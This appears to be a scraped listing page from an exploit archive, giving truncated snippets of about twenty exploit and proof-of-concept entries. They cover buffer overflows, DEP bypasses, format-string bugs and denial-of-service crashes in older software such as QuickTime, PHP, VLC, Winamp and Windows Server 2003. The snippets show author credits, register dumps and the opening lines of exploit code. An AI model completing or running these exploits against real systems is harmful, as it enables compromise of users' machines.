Apple QuickTime TeXML Stack Buffer Overflow

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3...

PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)

No description provided by source. $Id: phpunserializezvalcookie.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and...

CoolPlayer 2.18 - DEP Bypass

No description provided by source. Exploit Title: CoolPlayer 2.18 DEP Bypass Date: January 2, 2011 Author: Blake Version: 2.18 Tested on: Windows XP SP3 running in Virtualbox Uses SetProcessDEPPolicy to disable DEP for the process Thanks to mrme for the encouragement Exploit-DB Notes: May not wor...

PHP 6.0 openssl_verify() Local Buffer Overflow PoC

No description provided by source. ?php // ================================================================================== // // PHP 6.0 opensslverify Local Buffer Overflow PoC // // Tested on WIN XP, Apache, PHP 6.0dev. Local Buffer Overflow. // // Local Buffer Overflow // Author: Pr0T3cT10n...

PHP 6.0 - 'openssl_verify()' Local Buffer Overflow (PoC)

// // ================================================================================== // // REGISTERS: // EAX 000003D0, ECX 00BBDB28, EDX 00BBDAD8 // EBX 00BBC940, ESP 0012FB5C UNICODE "AAA...." // ESI 00BBC940, EDI 00831D00, EBP 0012FBF0 UNICODE "AAA...." // EIP 00410041 // //...

VLC (libtaglib_plugin.dll) divide by zero DOS

No description provided by source. import binascii print '\n\n' print '' print ' VLC libtaglibplugin.dll divide by zero DOS ' print ' Tested on : Windows 7 and XP sp3 ' print ' VLC verion : 1.2.0 and 1.1.11 possibly lower ' print ' Author : nomnom ' print ' Date : 1/19/2012 ' print ' - shouts to...

MY MP3 Player 3.0 - '.m3u' DEP Bypass

written to bypass OptIn/OptOut DEP policy tested on windows xp sp3 running in virtualbox import sys print "\n============================" print " MY MP3 Player DEP Bypass " print " Bypass OptIn/OptOut Policy " print " Tested on Windows XP SP3 " print " Written by Blake " print...

Windows Server 2 0 0 3 AD pre-authoritative stack overflow-vulnerability warning-the black bar safety net

Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ... Code will look something like this: if Len + 1 sizeofWCHAR TotalBufferSize Len = TotalSize/sizeofWCHAR - 1; -1 causes Len to go 0xFFFFFFFF Feel free to reuse this code without restrictions and ask...

Microsoft Windows Server 2003 - AD BROWSER ELECTION Remote Heap Overflow

Microsoft Windows Server 2003 - AD BROWSER ELECTION Remote Heap Overflow MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow Release date: 2011-02-14 Author: Cupidon-3005 Greet: Winny Thomas, Laurent Gaffie, h07 Bug: Heap Overflow Remote Exploitability: Unlikely Local...

AOL 9.5 - '.rtx' Local Buffer Overflow

!/usr/bin/python Bug : AOL 9.5 rtx Local Buffer Overflow Exploit by sup3r Tested on : XP SP3 header1 = "\x3c\x48\x54\x4d\x4c\x3e\x3c\x46\x4f\x4e\x54\x20\x20\x53\x49\x5a" "\x45\x3d\x32\x20\x50\x54\x53\x49\x5a\x45\x3d\x31\x30\x20\x46\x41"...

CoolPlayer 2.18 DEP Bypass

Exploit for windows platform in category local exploits Exploit Title: CoolPlayer 2.18 DEP Bypass Date: January 2, 2011 Author: Blake Version: 2.18 Tested on: Windows XP SP3 running in Virtualbox Uses SetProcessDEPPolicy to disable DEP for the process Thanks to mrme for the encouragement Exploit-...

Wincalc 2 Local Buffer Overflow

Exploit Title : Wincalc 2 .num local Buffer Overflow Poc tested on windows xp SP 3 FR Author: MadjiX - Dz8atHotmaiLdotCoM download: http://math.exeter.edu/rparris/peanut/wcru32z.exe Special Greets:Bibi-info , His0k4 where are you : EAX 00000001 ECX 41414141 EDX 00000000 EBX 0046EE18 ESP 0012F868...

eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF

No description provided by source. Exploit Title : eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF Type of sploit: Remote Code Execution Bug found by : loneferret march 19, 2010 Reference : http://www.exploit-db.com/exploits/11810 Exploit date : March 20, 2010 Author :...

eDisplay Personal FTP Server 1.0.0 - Denial of Service (PoC)

eDisplay Personal FTP Server 1.0.0 - Denial of Service PoC Title: eDisplay Personal FTP server 1.0.0 Pre-Authentication DoS PoC From: The eh?-Team || The Great White Fuzz we're not sure yet Found by: loneferret Hat's off to dookie2000ca Disvovery date: 16/03/2010 Software link:...

WM Downloader 3.0.0.9 - PLS WMDownloader (PoC)

WM Downloader 3.0.0.9 - PLS WMDownloader PoC !/usr/bin/perl JIKO =JAWAD Thanx To All Friends : Cyber-Zone , Stack , ZoRLu , Hussin X , Mag!c ompo ,Sad Hacker ,Strock ... All MoroCCaN HaCkerS No-Exploit.com EAX 00000000 ECX 41414141 EDX 000008C3 EBX 000FBBD4 ASCII "F:\perso\test\tool\jiko.pls" ESP...

Deepburner Pro version 1.9.0.228 dbr file universal buffer overflow exploit

No description provided by source. / Deepburner pro 1.9.0.228 dbr file buffer overflow exploituniversal This is buffer: header 253 bytes + junk+ next seh + seh addr + tail 957 bytes dbr/dbi file Date: 29.01.2010 Dicovery Credits: fl0 fl0w Exploit Credits : fl0 fl0w ?Download latest vuln vs from:...

Winamp 5.572 - whatsnew.txt Stack Overflow (PoC)

Winamp 5.572 - whatsnew.txt Stack Overflow PoC Author: Debug [email protected] Version: 5.572 Tested on: Windows xpsp2 !/usr/bin/perl Replace whatsnew.txt , open Winamp click Help-about winamp- version history. hacking.org.il. EAX 00000000 ECX 00000000 EDX 00661658 EBX 00000000 ESP 00B7EDE8 ASCII...

ReGet Deluxe 5.2 (build 330) - Local Stack Overflow

ReGet Deluxe 5.2 build 330 - Local Stack Overflow import sys print "" print " ReGet Deluxe 5.2 build 330 Stack Overflow Exploit" print " By: Encrypt3d.M!nd " print " http://m1nd3d.wordpress.com/ " print " For Details visit my blog " print "" try: header =...

HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ================================================================== HTML Help Workshop 4.74 hhp Project File Buffer Overflow Exploit ================================================================== Title: HTML Help Workshop 4.74 hhp Project...

RadASM 2.2.1.5 Format String

RadASM 2.2.1.5 .mnu File Format string Poc By SkuLL-HacKeR GreetZ : hack4love - Aser ro7 - ThE g0bL!N - Qabandi EAX 00002E2E ECX 41413D92 ECX overwrited EDX 00000002 EBX 00000000 ESP 0013F894 EBP 0013F9AC ASCII "..................................................................." ESI 00187658 ASC...